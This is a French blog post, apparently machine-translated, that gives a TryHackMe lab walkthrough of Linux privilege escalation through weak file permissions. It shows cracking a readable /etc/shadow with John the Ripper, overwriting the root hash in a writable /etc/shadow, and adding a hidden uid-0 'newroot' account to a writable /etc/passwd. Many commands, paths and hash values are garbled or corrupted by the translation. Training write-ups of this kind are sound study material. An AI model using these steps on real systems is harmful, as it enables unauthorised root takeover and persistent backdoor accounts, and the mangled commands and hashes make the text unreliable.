[TryhackMe] Amélioration des privilèges via des autorisations de fichiers vulnérables dans Linux! Linux Privesc WriteUp Part 2 (Escalade du privilège Linux)

[TryhackMe] Amélioration des privilèges via des autorisations de fichiers vulnérables dans Linux! Linux Privesc WriteUp Part 2 (Escalade du privilège Linux)

Cette fois, nous essaierons «l'élévation des privilèges en utilisant des autorisations de fichiers vulnérables dans Linux».
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est dans la partie 2.
Si vous souhaitez consulter l'écriture pour Linux PRIVESC avec TryhackMe, veuillez également vérifier Privilege Evolution à l'aide de la fonction défini par l'utilisateur MySQL (UDF)

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

Déployer la VM Vulnérable Debian

Tout d'abord, essayez de démarrer la machine cible avec TryhackMe et de le vérifier au point où vous pouvez vous connecter via SSH.

Démarrer la machine cible

Sélectionnez "Démarrer la machine" pour démarrer.

Si "l'adresse IP" s'affiche, la machine cible a terminé le démarrage.

Connectez-vous à votre compte d'utilisateur avec SSH

Connectez-vous à la machine cible via SSH.
Veuillez noter que pour Kali, "-ohostKeyAlgorithms = + SSH-RSA" peut être nécessaire.

# ssh user@10.10.77.90 -ohostkeyalgorithms = + ssh-rsa L'authenticité de l'hôte '10 .10.77.90 (10.10.77.90) 'ne peut pas être établie. L'empreinte digitale de la clé RSA est SHA256: jwwpvfqc + 8lpqda0b9wfzzxcxcoaho6s8wygjktank. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.77.90 '(RSA) à la liste des hôtes connus. user@10.10.77.90's Mot de passe: autorisation refusée, veuillez réessayer. user@10.10.77.90's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont des logiciels gratuits; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 de 192.168.1.125

Autorisations de fichiers faibles

Une fois prêt, essayez d'utiliser les autorisations de fichiers vulnérables pour augmenter les privilèges pour root.
Cette fois, deux fichiers sont inclus. Les deux vous obligeront à manipuler les informations de votre compte (valeur de hachage de mot de passe).

  • / etc / ombre
  • / etc / passwd

Lisible / etc / ombre (lisible / etc / ombre)

"/ etc / shadow" contient le mot de passe de l'utilisateur en tant que valeur de hachage.
Normalement, seule la racine peut être lue, mais s'il y a une vulnérabilité dans les autorisations de fichiers et est lisible, vous pouvez obtenir le mot de passe.

Tout d'abord, jetons un coup d'œil aux autorisations d'accès pour "/ etc / shadow".
Vous pouvez voir que n'importe qui peut le lire.

utilisateur @ debian: ~ $ ls -l / etc / shadow -rw-r - rw- 1 root shadow 837 25 août 2019 / etc / shadow

Nous vérifierons le contenu de l'ombre.
Le premier est le nom d'utilisateur et le second est la valeur de hachage du mot de passe. Cette fois, je vais craquer ceci et obtenir le mot de passe.

  • [Nom d'utilisateur]: [Password_hash]:…
Utilisateur @ debian: ~ $ cat / etc. daemon:*:17298:0:99999:7::: bin:*:17298:0:99999:7::: sys:*:17298:0:99999:7::: games:*:17298:0:99999:7::: man:*:17298:0:99999:7::: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid: !: 17298: 0: 99999: 7 ::: Debian-exim: !: 17298: 0: 99999: 7 ::: SSHD: *: 17298: 0: 99999: 7 :::: Utilisateur: 6 $ m1tqjkeb $ m1a / arh4jeyf1zbjplq.tzqr1loculz0wizsoy6adozrfryirkdw5ijy32fbgjwypte STATD: *: 17299: 0: 99999: 7 ::: MySQL: !: 18133: 0: 99999: 7 :::

À partir de ce qui précède, pour obtenir le mot de passe racine, enregistrez la valeur de hachage du mot de passe racine dans hash.txt.
À partir de maintenant, nous travaillerons du côté Kali (Machine d'attaque).

# Mkdir Tryhackme # CD TRYHACKME # VI Hash.txt # Cat Hash.txt 6 $ TB / EUWMK $ OXA.DWMEOACOPWBL68BOTG5ZI65WIHSC84OWAIYE5VITLLTVLAXVRDJXET..IT8R.JBRLPFZEMDWDD3B0FGXET..IT8R.JBRLPFZEMDWD3B0FGXET..IT8R.JBRLPFZEMDWD3B0FGXET ..

Une fois que vous avez fait cela, fissurez le hash.txt mentionné plus tôt en utilisant John the Ripper.
Lorsque vous vérifiez les résultats, vous verrez que le mot de passe est "Password123".

# John - WordList = / usr / share / wordlists / rockyou.txt hash.txt répertoire créé: /root/.john en utilisant le codage d'entrée par défaut: UTF-8 Hash de mot de passe chargé (Sha512Crypt, crypte (3) 6 $ $ [sha512 256/256 Avx2 4x]) Threads Appuyez sur 'Q' ou CTRL-C pour abandonner, presque toutes les autres touches pour Status Password123 (?) 1G 0: 00: 00: 00 Terminé (2023-03-06 14:36) 1.428G / S 2194P / S 2194C / S 2194C / S Cutties..428G / S 2194P / S 2194C / S 2194C / S Cuties..MEXICO1 Utilisez la séance d'option "- Show" pour afficher tous les passages de passe craqués. 

Une fois que vous connaissez le mot de passe, tout ce que vous avez à faire est d'obtenir des privilèges racine à l'aide de "su racine".

utilisateur @ debian: ~ $ su Mot de passe root: root @ debian: / home / user # # 

J'ai pu dégénérer avec succès mes privilèges de rooter!

Je pense que je peux répondre à vos questions Tryhackme en utilisant les questions précédentes.

Écrivable / etc / Shadow (Writable / etc / Shadow)

Si "/ etc / shadow" est écrit, vous pouvez dégénérer les privilèges pour rooter en réécrivant la valeur de hachage du mot de passe.
C'est exactement l'opposé de ce que je pensais.

Tout d'abord, vérifiez les autorisations pour "/ etc / shadow". Il semble que vous ayez une autorisation d'écriture.

$ ls -l / etc / shadow -rw-r - rw- 1 root shadow 837 25 août 2019 / etc / shadow

Créons maintenant un hachage du mot de passe à l'aide de mkpasswd.
Pour [newpassword], définissez le mot de passe que vous souhaitez utiliser comme racine.

$ mkpasswd -m sha-512 newpassword 6 $ $ .ep9gjdsi0v $ lhlxnvvmpg06kvymtpufpo9quogg / jvi9yo // izayw4xuqmbkx4xzxym5agggto8.xc1x0dbsscukkhf.d0281

Une fois le hachage généré, réécrivez le hachage du mot de passe racine dans "/ etc / shadow" avec le hachage que vous venez de générer.

$ Cat / etc / Shadow Root: 6 $ $ .EP9GJDSI0V $ lhlxnvvmpg06kvymtpufpo9quogg / jvi9yo // izayw4xuqmbkx4xzxym5agggto8.xc1x0dbsskkhf.d0281: 17298: 0: 99999: 7 ::: daemon:*:17298:0:99999:7::: bin:*:17298:0:99999:7::: sys:*:17298:0:99999:7::: games:*:17298:0:99999:7::: man:*:17298:0:99999:7::: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid: !: 17298: 0: 99999: 7 ::: Debian-exim: !: 17298: 0: 99999: 7 ::: SSHD: *: 17298: 0: 99999: 7 :::: Utilisateur: 6 $ m1tqjkeb $ m1a / arh4jeyf1zbjplq.tzqr1loculz0wizsoy6adozrfryirkdw5ijy32fbgjwypte STATD: *: 17299: 0: 99999: 7 ::: MySQL: !: 18133: 0: 99999: 7 :::

Je pense que j'ai maintenant pu dégénérer mes privilèges de root.

utilisateur @ debian: ~ $ su Mot de passe root: root @ debian: / home / user # # 

Écrivable / etc / passwd (Writable / etc / Passwd)

"/ etc / passwd" contient des informations sur votre compte d'utilisateur.
Tout le monde peut le lire, mais rien d'autre que Root ne peut l'écrire.
Certains Linux peuvent permettre aux utilisateurs d'inclure le hachage du mot de passe.

Si les privilèges autres que Root sont autorisés à écrire, il est possible d'exploiter la vulnérabilité pour augmenter les privilèges de root.

Tout d'abord, regardons l'autorité. Apparemment, vous avez une autorisation écrite.
Il semble que vous puissiez attaquer.

utilisateur @ debian: ~ $ ls -l / etc / passwd -rw-r - rw- 1 racine root 1009 25 août 2019 / etc / passwd

Pour être sûr, je vais vérifier l'état actuel du PASSWD. La racine est définie sur "x".
Une fois que vous avez généré le hachage, remplacez-le par un hachage.

Utilisateur @ debian: ~ $ cat / etc. Sync: X: 4: 65534: Sync: / bin: / bin / sync Games: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd: / bin / sh Mail: x: 8: 8: mail: / var / bin: bin / sh Mail: X: 8: 8: MAIL: MAIL: / VAR / LPD: / bin / sh Mail: X: 8: 8: MAIL: MAIL: / VAR / LPD: / BIN / SH MAIL: X: 8: 8: MAIL: MAIL: / VAR / LPD: / BIN / SH Mail: X: 8: 8: MAIL NOUVELLES: X: 9: 9: Actualités: / var / spool / news: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: Sauvegarde: x: 34: 34: sauvegarde: / var / sauvegardes: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / list: / bin / sh IRC: x: 39: 39: IRCD: / var / run / ircd: Personne: X: 65534: 65534: Personne: / non existant: / bin / sh libuuid: x: 100: 101 :: / var / lib / libuuid: / bin / sh debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false: sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash statd:x:103:65534::/var/lib/nfs:/bin/false mysql:x:104:106:MySQL Serveur ,,,,: / var / lib / mysql: / bin / false

Le hachage est généré avec la commande suivante:
cette fois, nous utiliserons "newpassword2" comme nouveau mot de passe.

Utilisateur @ debian: ~ $ OpenSSL PASSWD NEWPASSWORD2 AVERTISSEMENT: Mot de passe tronqué à 8 caractères 6B3UD4HKGOXVE

Une fois que vous avez généré un hachage, remplacez la valeur de hachage par l'emplacement où "x" était auparavant.

user @ debian: ~ $ vi / etc / passwd user @ debian: ~ $ cat / etc / passwd root: 6b3ud4hkgoxve: 0: 0: root: / root: / bin / bash daemon: x: 1: 1: démon: / usr / sbin: / bin / sh bin: x: 2: bin: / bin: / bin / sh SYS: X: 3: 3: sys: / dev: / bin / sh sync: x: 4: 65534: sync: / bin: / bin / sync: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd / sh: x: 7: 7: Mail: X: 8: 8: Mail: / var / Mail: / bin / sh News: X: 9: 9: News: / var / Spool / News: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: / bin: / bin / sh shat: www-data: x: 33: 33: www-data: / var / www: / bin / sh sauvegarde: x: 34: 34: sauvegarde: / var / sauvegarde: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / liste: GNATS: X: 41: 41: Gnats Système de reportage de bug (Admin): / var / lib / gnats: / bin / sh Nobod Debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false sshd: x: 102: 65534 :: / var / run / sshd: / usr / sbin / nologin utilisateur: x: 1000: 1000: utilisateur ,,,: / home / user: / bin / bin statd: x: 103: 65534 :: / var / lib / nfs: / bin / false mysql: x: 104: 106: mysql server ,,,,:: / var / lib / mysql: / bin / false

Une fois que vous êtes arrivé jusqu'ici, essayez de vous connecter pour root.
Je pense que j'ai pu dégénérer avec succès mes privilèges de root.

user @ debian: ~ $ su Mot de passe root: newpassword2

Si cela continue comme ça, cela ne fonctionnera pas, donc je vais créer un Newroot.
Copiez les paramètres racine partout et ajoutez-les à la nouvelle ligne, et laissez la racine à "x".

root @ debian: / home / user # vi / etc / passwd root @ debian: / home / user # cat / etc / passwd root: x: 0: 0: root: / root: / bin / bash daemon: x: 1: 1: daemon: / usr / bin: SYS: X: 3: 3: sys: / dev: / bin / sh sync: x: 4: 65534: sync: / bin: / bin / sync: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd / sh: x: 7: 7: Mail: X: 8: 8: Mail: / var / Mail: / bin / sh News: X: 9: 9: News: / var / Spool / News: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: / bin: / bin / sh shat: www-data: x: 33: 33: www-data: / var / www: / bin / sh sauvegarde: x: 34: 34: sauvegarde: / var / sauvegarde: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / liste: GNATS: X: 41: 41: Gnats Système de reportage de bug (Admin): / var / lib / gnats: / bin / sh Nobod Debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false sshd: x: 102: 65534 :: / var / run / sshd: / usr / sbin / nologin utilisateur: x: 1000: 1000: utilisateur ,,,: / home / user: / bin / bin statd: x: 103: 65534 :: / var / lib / nfs: / bin / false mysql: x: 104: 106: mysql server ,,,:: / var / lib / mysql: / bin / false newroot: 6b3ud4hkgoxve: 0: 0: root: / root: / bin / bash root @ debian: / home / uster

Dans cet état, connectez-vous à Newroot.
Je pense que vous pouvez augmenter vos privilèges pour rooter avec un nouveau mot de passe.
Même si vous vérifiez l'ID, vous serez root.

User @ debian: ~ $ su newroot mot de passe: newpassword2 root @ debian: / home / user # id uid = 0 (root) gid = 0 (root) groupes = 0 (root)

Connectez-vous et essayez de vous connecter pour root.
Je pense que vous pouvez vous connecter à l'aide de "NewPassword". Vous avez pu établir une nouvelle méthode de connexion tout en conservant votre mot de passe d'origine.

root @ debian: / home / utilisateur # sort de sortie utilisateur @ debian: ~ $ su Mot de passe racine: newpassword root @ debian: / home / utilisateur # 

Pour votre question Tryhackme, veuillez coller les résultats de la commande ID ci-dessus.

résumé

Cette fois, j'ai essayé «l'élévation des privilèges en utilisant des autorisations de fichiers vulnérables dans Linux».
Fondamentalement, par défaut, il ne devrait pas avoir d'autorisations de fichiers vulnérables, mais j'ai encore réalisé que nous devons faire attention à ne pas provoquer ce type de situation.

Références et sites

-: -

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières